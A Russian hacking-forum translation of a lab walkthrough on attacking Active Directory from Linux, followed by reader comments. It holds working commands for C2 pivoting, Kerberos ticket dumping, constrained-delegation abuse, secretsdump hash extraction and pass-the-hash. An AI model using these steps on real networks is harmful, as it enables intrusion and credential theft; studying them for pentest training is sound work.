• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Искусство взлома Active Directory с Linux (1 часть)

wesskibo

RAID-массив
Пользователь
Регистрация
22.07.2024
Сообщения
58
Реакции
92
Первоисточник: https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#what-if-i-have-no-credentials
Перевел: wesskibo специально для xss.pro

ДИСКЛЕЙМЕР

Я не программист, а так же не разбираюсь в тех.части, потому перевод местами может быть не корректным. Не засоряйте тему исправлениями, отпишите в ПМ форума где есть ошибки, всем заранее спасибо!

Статья разделена на 2 части, так как я достиг ограничения по картинкам на форуме!
Вторая часть доступна по ссылке:
threads/125578/

Введение

За время работы в лабораториях по Active Directory и помощи друзьям с их лабами я понял одно: дебагать Windows — это просто жесть.

Почти нереально нагуглить ошибки, так как они либо слишком общие, либо уникальные для конкретной атаки, над которой работаешь, и зачастую сообщения об ошибках сбивают с толку. Плюс, команды, которые работают у меня, могут не работать у других. И надо учитывать много других моментов, таких как:

  • Есть ли у тебя активный тикет, привязанный к сессии? (проблема с Kerberos Double Hop)
  • Если тикета нет, есть ли у тебя учетные данные для обертки команд в объект PS Credential?
  • Ограничивает ли тебя PowerShell Constrained Language Mode (CLM)?
  • Ну, а klist purge точно очищает все тикеты, верно?
1729895156216.png



В этом посте я расскажу о причинах, почему атака на Active Directory с Linux, на мой взгляд, предпочтительнее, чем с Windows, а также приведу примеры, как это сделать.

Но почему?

Я заметил, что в большинстве случаев, когда у моих друзей возникали проблемы, я советовал перенести их тикеты на Linux и воспользоваться тамошними инструментами с флагом --debug. Ошибки, выдаваемые в этом окружении, обычно более информативны. Их легче гуглить, а так же на них не влияет нестабильность Windows.

«tools» — это Impacket suite, который в целом стабилен и хорошо поддерживается.

Я считаю, что большую часть атак на Active Directory можно выполнить с Linux так же, как и с Windows, но с дополнительным преимуществом в виде упрощенной отладки.

Дисклеймер

Я не утверждаю, что атака с Linux — это лучший выбор для всех ситуаций. В конечном итоге, выбор инструментов остается за оператором, исходя из конкретной задачи.

Примеры, приведенные в этом посте, были выполнены в лабораторной среде, любезно предоставленной Altered Security для сертификации CRTE. Я получил письменное разрешение на использование скриншотов в этом посте при условии, что не раскрою никаких секретов лаборатории.

Предпологаемое вторжение
Во многих случаях у вас уже может быть доступ к сети. Чаще всего это одна скомпрометированная учетная запись доменного пользователя и/или рабочая станция.
Первые шаги, которые вы можете предпринять:

  1. Идентификация и разрешение хостов (особенно контроллера домена)
    В частности, вам следует заполнить файл /etc/hosts IP-адресами хостов в сети; позже мы поймем, почему это важно.

  2. Запуск сборщиков Bloodhound

Идентификация и разрешение хостов

Имея доменную учетную запись с локальными административными правами на рабочей станции, мы можем легко идентифицировать контроллер домена, просто отправив ping на имя домена.

Код:
ping [domain_name]
1729895983303.png


Отправив ping, мы можем легко определить, что контроллер домена находится по адресу 192.168.1.2; поскольку это находится в другой подсети, нам потребуется использовать рабочую станцию как точку доступа для выхода на контроллер домена.

Pivoting с помощью Silver
Не буду углубляться в детали, но мы будем использовать Sliver в качестве нашего фреймворка C2 и осуществим пивотинг через рабочую станцию с использованием их inband socks-прокси.

1729896137619.png


1729931910732.png


Получив коллбэк, мы оказываемся с правами непривилегированного пользователя на рабочей станции. Чтобы получить маяк с правами SYSTEM, нам потребуется обойти UAC (Контроль учетных записей)

1729931972103.png


Но нам это делать лень, поэтому можем просто выполнить маяк с помощью atexec.py из Linux, который запускает команду с помощью планировщика задач удаленно (что происходит в контексте SYSTEM).

Код:
atexec.py [domain_name]/[username]:[password]@[workstation_ip] [command]

1729932032447.png


Теперь у нас есть маяк с правами SYSTEM на рабочей станции.

1729932049285.png


Чтобы проксировать все наши команды через рабочую станцию, нам нужно настроить inband socks-прокси.

Код:
sliver> socks5 start

Inband socks-прокси Sliver иногда может быть нестабилен для некоторых протоколов и стоит на порту 1081 по умолчанию на машине оператора. Не забудьте изменить файл /etc/proxychains4.conf, чтобы такого не было.

Разрешение контроллера домена


Теперь мы можем проверить, что можем взаимодействовать с контроллером домена через proxychains.

Код:
proxychains nxc smb [IP/FQDN] -u [username] -p [password]

1729932261001.png


Разрешение других хостов

Существует несколько способов разрешения других хостов в сети.

Умный и методичный подход заключается в том, чтобы составить список рабочих станций и серверов в сети, а затем разрешить их с помощью dig.
Ленивый способ — разрешить их, используя nmap для SMB-сканирования сети. Я покажу оба метода здесь.

Начнем с умного

Код:
proxychains nxc ldap [IP/FQDN] -u [username] -p [password] -M get-network -o ONLY_HOSTS=true

1729932496834.png


Это дает вам список всех хостов в сети

1729932520223.png


Вы можете разрешить их с помощью этой команды, но это занимает вечность, так что я бы лично не стал делать это таким образом :)

Код:
cat [list_of_targets] | while read domain; do proxychains dig @"[DC_IP]" "$domain"; done

Ленивый способ (нашенский)

Код:
proxychains nxc smb [IP/FQDN].0/24 -u [username] -p [password] --log [log_file]


1729932645335.png


Затем мы можем обработать вывод, чтобы извлечь IP-адреса и имена хостов в сети.

Код:
awk '/SMBv1:False)/{flag=1;next}/SMBv1:True)/{flag=0}flag' sweep.log | awk '{print $7, $9"."$11}' | sed 's/\\.*//'
Этот однострочник немного корявый и иногда выдает ошибки, если вывод не соответствует ожиданиям; будьте готовы его исправить.

1729933035090.png


Если вы посмотрите внимательно, вы заметите аномалию: 192.168.1.56 US-MSSQL.Connection. Это SQL-сервер, и мы можем подтвердить это, подключившись к нему с помощью команды proxychains nxc mssql [IP/FQDN] -u [username] -p [password].

1729933080546.png


Bloodhound

Новички могут столкнуться с множеством проблем при удаленном запуске сборщиков Bloodhound, так как иногда это требует небольшого устранения неполадок.

Любопытный случай с Bloodhound-Python

Этот пример показывает, почему запуск инструментов с Linux — это одновременно и благо, и проклятие. Давайте попробуем запустить наш сборщик, не заполнив файл /etc/hosts, и посмотрим, что произойдет.

Код:
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all

1729933222466.png


На первый взгляд, можно предположить, что эта ошибка связана с тем, что файл /etc/hosts не заполнен, но ошибка сохраняется даже после добавления в него IP-адресов хостов в сети.

Чтобы отладить эту проблему, нам придется заглянуть в исходный код и начать выводить некоторые переменные, чтобы понять, что происходит.

Код:
  File "/home/kali/.local/lib/python3.11/site-packages/dns/resolver.py", line 1321, in resolve
    timeout = self._compute_timeout(start, lifetime, resolution.errors)

Давайте посмотрим на исходный код и увидем что произойдет

Python:
def query(
    self,
    qname: Union[dns.name.Name, str],
    rdtype: Union[dns.rdatatype.RdataType, str] = dns.rdatatype.A,
    rdclass: Union[dns.rdataclass.RdataClass, str] = dns.rdataclass.IN,
    tcp: bool = False,
    source: Optional[str] = None,
    raise_on_no_answer: bool = True,
    source_port: int = 0,
    lifetime: Optional[float] = None,
) -> Answer:  # pragma: no cover
    """Query nameservers to find the answer to the question.

    This method calls resolve() with ``search=True``, and is
    provided for backwards compatibility with prior versions of
    dnspython.  See the documentation for the resolve() method for
    further details.
    """
    warnings.warn(
        "please use dns.resolver.Resolver.resolve() instead",
        DeprecationWarning,
        stacklevel=2,
    )
 
    print(f"\n[gatari] querying: {qname} {rdtype} {rdclass}")
    print(f"[gatari] using nameserver(s): {self.nameservers}")
    print(f"[gatari] using port: {self.port}")
    print(f"[gatari] using protocol: {'TCP' if tcp else 'UDP'}")
    print(f"[gatari] timeout: {self.timeout}\n")
 
    return self.resolve(
        qname,
        rdtype,
        rdclass,
        tcp,
        source,
        raise_on_no_answer,
        source_port,
        lifetime,
        True,
    )

После добавления отладочных операторов давайте снова запустим сборщик.

Код:
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all

1729933584952.png


Первое, что пришло мне в голову, — это то, что таймаут в 3 секунды слишком мал, учитывая, что мы запускаем сборщик через socks-прокси, который печально известен своей медлительностью. Поэтому я увеличил таймаут до 10 секунд с помощью параметра --dns-timeout 10.

Код:
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all --dns-timeout 10

1729933632603.png


Ошибка по-прежнему сохраняется. Следующее, что я заметил, — запрос использует UDP вместо TCP. Хотя протокол Socks5 поддерживает как TCP, так и UDP, реализация некоторых протоколов в Sliver может быть немного нестабильной. Давайте переключим его на использование TCP с параметром --dns-tcp (и уберем --dns-timeout 10, чтобы тестировать только одну переменную за раз).

Код:
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all --dns-tcp

1729933708223.png


Мы смогли пройти первый запрос, но ошибка все еще возникает. К счастью, я видел эту ошибку в PR на репозитории bloodhound-python: PR на BloodHound.py.

Если кратко: добавьте точку перед именем домена.

Код:
proxychains bloodhound-python -u [username] -p [password] -d [domain]. -ns [DC_IP] -c all --dns-tcp

И вот теперь мы, наконец, видим проблему, связанную с тем, что файл /etc/hosts не был заполнен.
1729933806534.png


После добавления в /etc/hosts IP-адресов хостов в сети мы можем успешно запустить сборщик.
Код:
proxychains bloodhound-python -u [username] -p [password] -d [domain]. -ns [DC_IP] -c all --dns-tcp

1729933843859.png


Когда я впервые использовал bloodhound-python, я увидел, что репозиторий:
  • Обновлялся недавно (2 месяца назад)
  • Почти 2000 звезд
Я предположил, что инструмент стабилен и хорошо поддерживается. Однако я быстро понял, что он не так стабилен, как я ожидал, и потребовал некоторой отладки, чтобы заставить его работать.

Хочу подчеркнуть, что мы не должны винить разработчиков инструмента — они делают это бесплатно и в свое личное время. Я чрезвычайно благодарен за их труд, и цель этого поста — показать реальность (включая сложные моменты) использования инструментов с Linux.

Альтернативные коллекторы RustHound

Другой сборщик, который мне нравится использовать, если bloodhound-python капризничает, — это RustHound. Он немного стабильнее и обычно работает быстрее других сборщиков.

Код:
proxychains rusthound -u [username] -p [password] -d [domain]

1729934010598.png


И он сразу заработал без каких-либо проблем!

Что делать, если у меня нет учетных данных?


Я хотел бы сделать небольшое отступление, чтобы обсудить ваши варианты, если у вас есть доступ к рабочей станции с учетной записью пользователя без прав администратора, и у вас нет учетных данных для этой учетной записи. Вы можете оказаться в такой ситуации после компрометации веб-сервера или SQL-сервера, когда у вас есть реверс-шелл.

Первое, что стоит проверить, — это наличие кэшированных Kerberos-тикетов в вашей текущей сессии входа. Вы можете проверить это с помощью klist, Rubeus.exe triage или Rubeus.exe klist. Я предпочитаю Rubeus.exe triage, так как учетные записи служб, как правило, имеют много тикетов, и смотреть на это довольно неприятно.

1729934158093.png



Вот как должен выглядеть ваш вывод, если вы находитесь с учетной записью без прав администратора, так как вы не сможете увидеть другие сессии входа.

Теперь мы можем извлечь свои собственные тикеты с помощью Rubeus.exe dump и использовать их удаленно.

1729934208101.png


Ваш вывод должен выглядеть примерно так

1729934233588.png


В качестве альтернативы вы можете использовать Rubeus.exe tgtdeleg, чтобы получить пригодный тикет для вашей текущей учетной записи без необходимости повышения привилегий.

1729934338273.png



Взаимодействие между Windows и Linux


Тикеты можно легко переносить между Windows (.kirbi) и Linux (.ccache), что позволяет использовать оба операционных системы. Ссылаясь на тикеты, которые мы получили ранее с помощью tgtdeleg, мы можем преобразовать их в формат, пригодный для использования в Linux.

Общие шаги следующие:
  1. Если тикет закодирован в base64 (из Rubeus), декодируйте его с помощью команды:
    Код:
    echo [base64] | base64 -d > ticket.kirbi
  2. Преобразуйте тикет в формат, который можно использовать в Linux, с помощью:
    Код:
    ticketConverter.py ticket.kirbi ticket.ccache
  3. Экспортируйте переменную окружения KRB5CCNAME, чтобы указать на тикет:
    Код:
    export KRB5CCNAME=/path/to/ticket.ccache
  4. Запустите ваши инструменты (Impacket) с параметрами -k -no-pass, чтобы указать, что вы хотите использовать кеш для аутентификации.

1729934733934.png


Затем мы можем использовать его с netexec, экспортировав тикет и запустив его с параметром --use-kcache (обратите внимание, что этот флаг может отличаться в разных инструментах).

Код:
export KRB5CCNAME=... && nxc smb ... --use-kcache

1729935009031.png


Зеленый плюсик указывает на то, что мы успешно аутентифицировались с помощью тикета.

Проведение атак

Теперь, когда мы знаем, как переносить наши тикеты из Windows в Linux, мы можем начать выполнять атаки удаленно в сети.

Будет мало или вовсе не будет объяснений специфики выполняемых атак; понимание атаки — это задача для читателя. Кроме того, я рекомендую пройти курсы CRTP и CRTE от Altered Security.

В этом посте мы рассмотрим только одну атаку: злоупотребление ограниченной делегацией на контролируемом принципале.

Ограниченная делегация

После анализа собранных данных BloodHound мы видим этот узел:

1729935182282.png


Это указывает на то, что у appsvc@us.techcorp.local установлен атрибут msds-AllowedToDelegateTo, который ссылается на US-MSSQL.us.techcorp.local. Это означает, что appsvc имеет право действовать от имени доменного пользователя для сервиса на US-MSSQL.

Мы можем увидеть SPN, к которому мы можем делегировать права, в свойствах узла BloodHound.

1729935272997.png


Или мы можем перечислить его с помощью findDelegation.py на Linux:

Код:
proxychains findDelegation.py [domain]/[username]:[password]

1729935416867.png


Мы видим, что appsvc имеет право делегировать доступ к CIFS/US-MSSQL.us.techcorp.local, что является крайне разрешительной делегацией.

Смотрите: HackTricks - Silver Ticket

Для демонстрации предположим, что мы компрометировали учетную запись appsvc и получили ее NTLM-хеш.

Windows -> Linux

Сначала мы проведем атаку из Windows, так как это, вероятно, будет более знакомо большинству читателей.

Код:
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /ptt

Не забудьте проверить, имеет ли ваш /impersonateuser локальные права администратора на целевой машине и не защищен ли от делегации.

1729935636195.png


Атака прошла безупречно, теперь давайте посмотрим, как мы можем передать этот тикет для использования в Linux (например, secretsdump.py для удаленной выгрузки хешей).

Во-первых, нам нужно, чтобы тикет был в формате, который легко скопировать и вставить в Linux; мы можем сделать это с помощью флага /nowrap, и, конечно, уберем флаг /ptt.

Код:
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /nowrap

1729935698682.png


Аналогично предыдущему, мы можем применить тот же трюк, чтобы преобразовать тикет в формат, пригодный для использования в Linux.

Код:
echo "[b64_ticket]" | base64 -d > ticket.kirbi && ticketConverter.py ticket.kirbi ticket.ccache && export KRB5CCNAME=ticket.ccache

1729935748208.png


И, конечно, мы можем проверить, что тикет пригоден для использования с nxc.

Код:
nxc smb [IP/FQDN] --use-kcache

1729935802121.png


Мы также можем использовать describeTicket.py, чтобы визуализировать содержимое нашего тикета, и вы увидите, что у нас есть тикет, который подходит для сервиса CIFS на US-MSSQL. Однако это означает, что мы не сможем использовать WinRM.

Код:
describeTicket.py ticket.ccache

1729936032226.png


Мы можем использовать флаг altservice, чтобы запросить тикет для сервиса HTTP, который подходит для WinRM.

Код:
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /altservice:HTTP /nowrap

Теперь тикет подходит для HTTP-сервиса на US-MSSQL, что включает в себя WinRM.

1729936105618.png


В качестве альтернативы вы также можете использовать свой CIFS-тикет для выгрузки хешей на целевой машине с помощью secretsdump.py, а затем использовать хеш локального администратора для входа через WinRM.

Код:
proxychains secretsdump.py -k -no-pass [TARGET_FQDN]

1729936158923.png


Теперь мы можем провести Pass-the-Hash (PTH) этого хеша в WinRM с помощью evil-winrm или nxc winrm.

Код:
proxychains nxc winrm [IP/FQDN] -u [username] -H [hash] --local-auth
proxychains evil-winrm -i [IP/FQDN] -u [username] -H [hash]

1729936208082.png



Продолжение статьи: threads/125578/
 

Вложения

  • 1729896148064.png
    1729896148064.png
    130.5 КБ · Просмотры: 6
  • 1729896200326.png
    1729896200326.png
    28.3 КБ · Просмотры: 4
  • 1729896308422.png
    1729896308422.png
    23.5 КБ · Просмотры: 5
  • 1729896379964.png
    1729896379964.png
    42.3 КБ · Просмотры: 5
  • 1729896645458.png
    1729896645458.png
    128.3 КБ · Просмотры: 5
  • 1729896795429.png
    1729896795429.png
    179.6 КБ · Просмотры: 5
  • 1729896809863.png
    1729896809863.png
    112.7 КБ · Просмотры: 5
  • 1729896876893.png
    1729896876893.png
    58.2 КБ · Просмотры: 5
  • 1729897024610.png
    1729897024610.png
    66.4 КБ · Просмотры: 5
  • 1729936385081.png
    1729936385081.png
    124.8 КБ · Просмотры: 6
  • 1729936505487.png
    1729936505487.png
    79.4 КБ · Просмотры: 6
  • 1729936632170.png
    1729936632170.png
    45 КБ · Просмотры: 6
  • 1729936655877.png
    1729936655877.png
    54 КБ · Просмотры: 12
Последнее редактирование:
реверсивная оболочка
По моему лучше это перевести, как "обратный шелл" или "реверс-шелл". А вообще зачетная статья! Плюсик ляпну, как лимит обновится.
 
Автор извини, но видно что ты ниразу не работал с ad. Очень тяжело читать этот перевод, еще эта излишняя разноцветная прыгающая разметка и большие пробелы между строками. Оригинал гораздо легче читается, пентестеры которым это интересно и так знают английский
 
Автор извини, но видно что ты ниразу не работал с ad. Очень тяжело читать этот перевод, еще эта излишняя разноцветная прыгающая разметка и большие пробелы между строками. Оригинал гораздо легче читается, пентестеры которым это интересно и так знают английский
Автору респект, уделил личное время. Назовем так, я пентестер и мне интересно, но я не знаю английского или вы привате, все на разговорном сидите.
Но сюда по твоему нику, нам очень далеко до тебя, как пентестера с английским)
 
Автор извини, но видно что ты ниразу не работал с ad. Очень тяжело читать этот перевод, еще эта излишняя разноцветная прыгающая разметка и большие пробелы между строками. Оригинал гораздо легче читается, пентестеры которым это интересно и так знают английский
Как я упоминал в дисклеймере: я не программист, термины гуглил, но как они называются на жаргоне — не знаю.

Зачем пентестеру, который знает английский, было читать этот перевод?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх